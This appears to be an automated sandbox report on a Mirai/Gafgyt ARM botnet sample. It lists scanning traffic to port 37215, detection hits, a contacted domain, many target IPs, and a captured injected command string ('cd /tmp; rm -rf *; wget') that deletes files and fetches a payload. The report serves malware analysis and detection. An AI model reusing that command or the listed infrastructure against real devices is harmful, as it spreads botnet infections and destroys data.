Source: unknown	Network traffic detected: HTTP traffic on port 59380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 37215

Source: /tmp/arm7.elf (PID: 5509)

Queries kernel information via 'uname':

Jump to behavior

Source: arm7.elf, 5509.1.0000557a417f0000.0000557a41941000.rw-.sdmp, arm7.elf, 5513.1.0000557a417f0000.0000557a4191e000.rw-.sdmp	Binary or memory string: AzU!/etc/qemu-binfmt/arm
Source: arm7.elf, 5509.1.00007ffc14baa000.00007ffc14bcb000.rw-.sdmp, arm7.elf, 5513.1.00007ffc14baa000.00007ffc14bcb000.rw-.sdmp	Binary or memory string: (x86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf
Source: arm7.elf, 5509.1.0000557a417f0000.0000557a41941000.rw-.sdmp, arm7.elf, 5513.1.0000557a417f0000.0000557a4191e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.elf, 5509.1.00007ffc14baa000.00007ffc14bcb000.rw-.sdmp, arm7.elf, 5513.1.00007ffc14baa000.00007ffc14bcb000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 5509.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5513.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 5509, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 5513, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 5509.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5513.1.00007f0330017000.00007f033002e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 5509, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm7.elf PID: 5513, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm7.elf	68%	ReversingLabs	Linux.Trojan.Mirai
arm7.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scamanje.stresserit.pro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	arm7.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	arm7.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.57.94.252	unknown	Canada	855	CANET-ASN-4CA	false
18.146.245.6	unknown	United States	16509	AMAZON-02US	false
197.89.172.32	unknown	South Africa	10474	OPTINETZA	false
177.162.110.227	unknown	Brazil	26599	TELEFONICABRASILSABR	false
159.180.12.20	unknown	United Kingdom	15435	KABELFOONDELTAFiberNederlandNL	false
189.138.184.238	unknown	Mexico	8151	UninetSAdeCVMX	false
111.193.72.92	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
65.72.176.169	unknown	United States	3491	BTN-ASNUS	false
197.116.147.56	unknown	Algeria	36947	ALGTEL-ASDZ	false
194.23.75.217	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
197.214.155.146	unknown	Congo	37550	airtelcgCG	false
222.90.61.101	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.123.124.85	unknown	Egypt	36992	ETISALAT-MISREG	false
156.154.241.64	unknown	United States	19905	NEUSTAR-AS6US	false
175.104.174.239	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
59.254.238.165	unknown	China	37937	CNNIC-EGOVNET-APChinaeGovNetInformationCenterCN	false
145.47.141.19	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
77.194.233.176	unknown	France	15557	LDCOMNETFR	false
204.202.53.15	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
168.225.182.43	unknown	United States	27435	OPSOURCE-INCUS	false
191.198.18.187	unknown	Brazil	26599	TELEFONICABRASILSABR	false
160.219.60.220	unknown	Switzerland	15661	BankJSafraSarasinAGCH	false
156.79.242.108	unknown	United States	11363	FUJITSU-USAUS	false
174.225.164.165	unknown	United States	22394	CELLCOUS	false
197.116.147.49	unknown	Algeria	36947	ALGTEL-ASDZ	false
27.60.33.116	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
206.163.104.138	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
129.73.195.87	unknown	Germany	2902	WN-WY-ASUS	false
76.129.159.50	unknown	United States	7922	COMCAST-7922US	false
133.131.67.8	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
156.154.241.72	unknown	United States	19905	NEUSTAR-AS6US	false
170.156.242.228	unknown	United States	4152	USDA-1US	false
34.26.227.130	unknown	United States	2686	ATGS-MMD-ASUS	false
197.22.223.225	unknown	Tunisia	37693	TUNISIANATN	false
148.134.126.164	unknown	United States	19113	DUKE-ENERGYUS	false
34.207.187.83	unknown	United States	14618	AMAZON-AESUS	false
156.254.119.6	unknown	Seychelles	63981	NTDKL-HK43FAIATower183ElectricRoadNorthPointHo	false
213.102.65.146	unknown	Sweden	39651	COMHEM-SWEDENSE	false
108.135.200.19	unknown	United States	16509	AMAZON-02US	false
49.232.80.237	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
197.180.107.82	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.82.0.63	unknown	South Africa	10474	OPTINETZA	false
156.79.242.130	unknown	United States	11363	FUJITSU-USAUS	false
41.54.60.163	unknown	South Africa	37168	CELL-CZA	false
146.35.171.37	unknown	United States	197938	TRAVIANGAMESDE	false
156.133.239.120	unknown	Luxembourg	29975	VODACOM-ZA	false
70.131.38.111	unknown	United States	7018	ATT-INTERNET4US	false
34.149.222.183	unknown	United States	2686	ATGS-MMD-ASUS	false
38.177.156.216	unknown	United States	174	COGENT-174US	false
183.224.4.210	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
109.157.20.134	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
189.93.206.212	unknown	Brazil	22085	ClaroSABR	false
156.158.50.48	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.76.213.136	unknown	South Africa	16637	MTNNS-ASZA	false
27.101.71.196	unknown	Korea Republic of	17841	NCIA-AS-KRNATIONALINFORMATIONRESOURCESSERVICEKR	false
41.227.18.89	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
197.221.180.220	unknown	South Africa	37356	O-TelZA	false
78.80.156.12	unknown	Czech Republic	13036	TMOBILE-CZ	false
202.172.62.194	unknown	Singapore	17547	M1NET-SG-APM1NETLTDSG	false
99.224.7.230	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
31.219.177.112	unknown	United Arab Emirates	8966	ETISALAT-ASPOBox1150DubaiUAE	false
178.67.227.101	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
173.91.184.58	unknown	United States	10796	TWC-10796-MIDWESTUS	false
62.236.45.18	unknown	Finland	16086	DNAFI	false
197.106.7.118	unknown	South Africa	37168	CELL-CZA	false
149.166.36.79	unknown	United States	87	INDIANA-ASUS	false
187.232.26.193	unknown	Mexico	8151	UninetSAdeCVMX	false
134.125.213.180	unknown	United States	1761	TDIR-CAPNETUS	false
129.244.149.88	unknown	United States	8036	UTULSA-ASUS	false
97.250.16.14	unknown	United States	6167	CELLCO-PARTUS	false
156.234.199.212	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
52.22.221.222	unknown	United States	14618	AMAZON-AESUS	false
69.230.84.187	unknown	United States	7018	ATT-INTERNET4US	false
156.147.46.190	unknown	Korea Republic of	4668	LGNET-AS-KRLGCNSKR	false
211.166.104.176	unknown	China	9389	UNSPECIFIEDBEIJINGSHENZHOUGREATWALLCOMMUNICATIONCN	false
156.70.163.21	unknown	United States	297	AS297US	false
62.178.156.187	unknown	Austria	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
187.166.188.32	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	false
221.168.120.30	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
58.93.35.51	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
103.154.227.170	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
220.73.156.234	unknown	Korea Republic of	9628	TONGYANGLIFE-AS-KRTONGYANGLIFEINSURANCECOLTDKR	false
197.190.151.169	unknown	Ghana	37140	zain-asGH	false
131.141.122.182	unknown	Canada	74	SSC-299-Z-74CA	false
156.134.83.20	unknown	United States	12217	UPSUS	false
147.66.236.126	unknown	Australia	38474	ANTARCTIC-DIVISION-AS-AUAustralianAntarcticDivisionFeder	false
174.92.228.82	unknown	Canada	577	BACOMCA	false
197.252.128.131	unknown	Sudan	15706	SudatelSD	false
167.128.118.209	unknown	United States	25899	LSNETUS	false
219.113.6.130	unknown	Japan	17675	AS-PNAPTOKInternapJapanCoLTDJP	false
82.133.137.167	unknown	Finland	15830	EQUINIX-CONNECT-EMEAGB	false
182.181.15.115	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
41.216.98.191	unknown	Mauritius	37006	LiquidTelecommunicationRwandaRW	false
31.97.71.25	unknown	United Kingdom	12576	EELtdGB	false
195.252.218.183	unknown	Germany	61157	PLUSSERVER-ASN1DE	false
59.43.155.206	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
220.152.117.51	unknown	Thailand	58689	ICCNET-DHK-BDICCCommunicationBD	false
66.12.49.118	unknown	United States	5650	FRONTIER-FRTRUS	false
207.228.182.1	unknown	Bermuda	3855	LOGIC-3855BM	false
156.190.95.217	unknown	Egypt	36992	ETISALAT-MISREG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.57.94.252	bk.mips-20221002-0650.elf	Get hash	malicious	Mirai	Browse
156.57.94.252	cWd3t6feh9	Get hash	malicious	Mirai	Browse
18.146.245.6	MGQwnoKsQp.elf	Get hash	malicious	Mirai	Browse
197.214.155.146	WnjrLLNGZL.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	OuJmSE9GcF.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	PzVBVN5Ycq.elf	Get hash	malicious	Mirai, Moobot	Browse
197.89.172.32	SecuriteInfo.com.Linux.Siggen.9999.21075.6657.elf	Get hash	malicious	Mirai	Browse
	Wrt3j9UnjG.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86_64-20220921-0518.elf	Get hash	malicious	Mirai, Moobot	Browse
197.123.124.85	nsharm7.elf	Get hash	malicious	Mirai	Browse
	tarm5.elf	Get hash	malicious	Mirai	Browse
	gmpsl.elf	Get hash	malicious	Mirai	Browse
	Ua46vskCjL.elf	Get hash	malicious	Mirai	Browse
	Odx7mEGDEy.elf	Get hash	malicious	Mirai	Browse
	k3jsbMcb5z.elf	Get hash	malicious	Mirai	Browse
	SbrcnDAgKx	Get hash	malicious	Gafgyt, Mirai	Browse
	yW7aP7Y0x7	Get hash	malicious	Mirai	Browse
197.116.147.56	Nn1JGOIIqA.elf	Get hash	malicious	Mirai	Browse
194.23.75.217	Dh7eQYH1Um	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OPTINETZA	nsharm7.elf	Get hash	malicious	Mirai	Browse	197.86.54.186
	arm.elf	Get hash	malicious	Mirai	Browse	197.82.0.44
	xd.mips.elf	Get hash	malicious	Mirai	Browse	197.90.49.77
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	196.2.139.18
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	197.82.0.78
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	197.92.193.118
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	197.94.80.81
	arm5.elf	Get hash	malicious	Mirai	Browse	197.89.97.96
	hmips.elf	Get hash	malicious	Mirai	Browse	197.86.54.120
	ppc.elf	Get hash	malicious	Mirai	Browse	197.82.0.74
TELEFONICABRASILSABR	xd.mips.elf	Get hash	malicious	Mirai	Browse	177.189.25.244
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	177.94.5.186
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	191.197.145.37
	xd.arm.elf	Get hash	malicious	Mirai	Browse	177.95.220.122
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	201.1.97.246
	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	179.111.24.203
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	179.116.73.23
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	191.20.7.101
	sora.mips.elf	Get hash	malicious	Mirai	Browse	177.156.12.195
	sora.mips.elf	Get hash	malicious	Mirai	Browse	201.43.192.57
CANET-ASN-4CA	arm.elf	Get hash	malicious	Mirai	Browse	156.57.94.228
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	99.192.70.116
	ppc.elf	Get hash	malicious	Mirai	Browse	156.34.23.160
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.34.23.162
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	156.57.7.74
	hmips.elf	Get hash	malicious	Mirai	Browse	156.34.23.154
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.34.23.147
	arm5.elf	Get hash	malicious	Mirai	Browse	156.34.23.192
	arm.elf	Get hash	malicious	Mirai	Browse	156.34.23.196
	ppc.elf	Get hash	malicious	Mirai	Browse	156.34.23.144
AMAZON-02US	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	13.52.148.218
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	18.254.223.251
	xd.mips.elf	Get hash	malicious	Mirai	Browse	44.224.25.49
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	18.141.1.169
	xd.arm.elf	Get hash	malicious	Mirai	Browse	18.223.197.76
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	18.176.128.248
	xd.spc.elf	Get hash	malicious	Mirai	Browse	13.254.249.166
	https://www.collage.inc/	Get hash	malicious	Unknown	Browse	52.92.146.88
	Document_084462.scr.exe	Get hash	malicious	FormBook, GuLoader	Browse	13.248.169.48
	guia241993.vbs	Get hash	malicious	Unknown	Browse	52.95.170.72

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.042166530477634
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm7.elf
File size:	144'625 bytes
